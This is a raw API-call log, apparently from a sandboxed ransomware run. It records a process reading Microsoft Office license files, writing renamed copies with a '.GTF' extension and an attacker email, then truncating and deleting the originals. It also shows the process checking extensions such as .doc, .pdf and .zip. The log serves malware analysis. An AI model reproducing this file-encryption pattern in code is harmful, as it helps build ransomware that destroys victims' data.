	[0173.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString=".jpg") returned 4
	[0173.577] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.578] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.578] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29
	[0173.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.578] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11167) returned 1
	[0173.578] CloseHandle (hObject=0x45c) returned 1
	[0173.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220
	[0173.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.579] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.579] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0173.580] GetLastError () returned 0x0
	[0173.580] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0173.582] WriteFile (in: hFile=0x534, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0173.583] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.583] WriteFile (in: hFile=0x534, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0173.583] SetEndOfFile (hFile=0x534) returned 1
	[0173.583] CloseHandle (hObject=0x534) returned 1
	[0173.583] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.583] SetEndOfFile (hFile=0x45c) returned 1
	[0173.595] CloseHandle (hObject=0x45c) returned 1
	[0173.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1
	[0173.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.596] lstrlenW (lpString=".doc") returned 4
	[0173.596] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".docx") returned 5
	[0173.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.597] lstrlenW (lpString=".pdf") returned 4
	[0173.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".xls") returned 4
	[0173.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".xlsx") returned 5
	[0173.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.597] lstrlenW (lpString=".ppt") returned 4
	[0173.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.597] lstrlenW (lpString=".zip") returned 4
	[0173.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".rar") returned 4
	[0173.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".bz2") returned 4
	[0173.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString=".7z") returned 3
	[0173.597] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.597] lstrlenW (lpString=".dbf") returned 4
	[0173.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.597] lstrlenW (lpString=".1cd") returned 4
	[0173.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.597] lstrlenW (lpString=".jpg") returned 4
	[0173.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString=".doc") returned 4
	[0173.598] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".docx") returned 5
	[0173.598] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.598] lstrlenW (lpString=".pdf") returned 4
	[0173.598] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".xls") returned 4
	[0173.598] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".xlsx") returned 5
	[0173.598] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.598] lstrlenW (lpString=".ppt") returned 4
	[0173.598] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString=".zip") returned 4
	[0173.598] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".rar") returned 4
	[0173.598] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".bz2") returned 4
	[0173.598] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString=".7z") returned 3
	[0173.598] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString=".dbf") returned 4
	[0173.598] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString=".1cd") returned 4
	[0173.598] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0173.598] lstrlenW (lpString=".jpg") returned 4
	[0173.598] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.599] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.599] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30
	[0173.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.599] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=22214) returned 1
	[0173.600] CloseHandle (hObject=0x45c) returned 1
	[0173.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220
	[0173.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.600] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.600] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.800] GetLastError () returned 0x0
	[0173.800] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x56c6, lpOverlapped=0x0) returned 1
	[0173.923] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0174.108] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.108] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0174.108] SetEndOfFile (hFile=0x528) returned 1
	[0174.108] CloseHandle (hObject=0x528) returned 1
	[0174.108] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.109] SetEndOfFile (hFile=0x45c) returned 1
	[0174.159] CloseHandle (hObject=0x45c) returned 1
	[0174.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1
	[0174.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.161] lstrlenW (lpString=".doc") returned 4
	[0174.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".docx") returned 5
	[0174.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.161] lstrlenW (lpString=".pdf") returned 4
	[0174.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".xls") returned 4
	[0174.161] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".xlsx") returned 5
	[0174.161] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.161] lstrlenW (lpString=".ppt") returned 4
	[0174.161] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.161] lstrlenW (lpString=".zip") returned 4
	[0174.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".rar") returned 4
	[0174.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".bz2") returned 4
	[0174.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString=".7z") returned 3
	[0174.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.161] lstrlenW (lpString=".dbf") returned 4
	[0174.161] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.161] lstrlenW (lpString=".1cd") returned 4
	[0174.161] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.161] lstrlenW (lpString=".jpg") returned 4
	[0174.161] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString=".doc") returned 4
	[0174.162] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".docx") returned 5
	[0174.162] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.162] lstrlenW (lpString=".pdf") returned 4
	[0174.162] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".xls") returned 4
	[0174.162] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".xlsx") returned 5
	[0174.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.162] lstrlenW (lpString=".ppt") returned 4
	[0174.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString=".zip") returned 4
	[0174.162] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".rar") returned 4
	[0174.162] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".bz2") returned 4
	[0174.162] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString=".7z") returned 3
	[0174.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString=".dbf") returned 4
	[0174.162] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString=".1cd") returned 4
	[0174.162] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0174.162] lstrlenW (lpString=".jpg") returned 4
	[0174.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.163] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.163] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29
	[0174.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.163] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10651) returned 1
	[0174.163] CloseHandle (hObject=0x45c) returned 1
	[0174.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220
	[0174.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.164] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.164] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.165] GetLastError () returned 0x0
	[0174.165] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x299b, lpOverlapped=0x0) returned 1
	[0174.328] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0174.329] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.329] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0174.329] SetEndOfFile (hFile=0x528) returned 1
	[0174.336] CloseHandle (hObject=0x528) returned 1
	[0174.340] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.340] SetEndOfFile (hFile=0x45c) returned 1
	[0174.343] CloseHandle (hObject=0x45c) returned 1
	[0174.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1
	[0174.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.346] lstrlenW (lpString=".doc") returned 4
	[0174.346] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.346] lstrlenW (lpString=".docx") returned 5
	[0174.346] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.347] lstrlenW (lpString=".pdf") returned 4
	[0174.347] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString=".xls") returned 4
	[0174.347] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString=".xlsx") returned 5
	[0174.347] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.347] lstrlenW (lpString=".ppt") returned 4
	[0174.347] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.347] lstrlenW (lpString=".zip") returned 4
	[0174.347] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString=".rar") returned 4
	[0174.347] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString=".bz2") returned 4
	[0174.347] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString=".7z") returned 3
	[0174.347] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.347] lstrlenW (lpString=".dbf") returned 4
	[0174.347] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.347] lstrlenW (lpString=".1cd") returned 4
	[0174.347] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.347] lstrlenW (lpString=".jpg") returned 4
	[0174.347] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString=".doc") returned 4
	[0174.348] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".docx") returned 5
	[0174.348] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.348] lstrlenW (lpString=".pdf") returned 4
	[0174.348] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".xls") returned 4
	[0174.348] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".xlsx") returned 5
	[0174.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.348] lstrlenW (lpString=".ppt") returned 4
	[0174.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
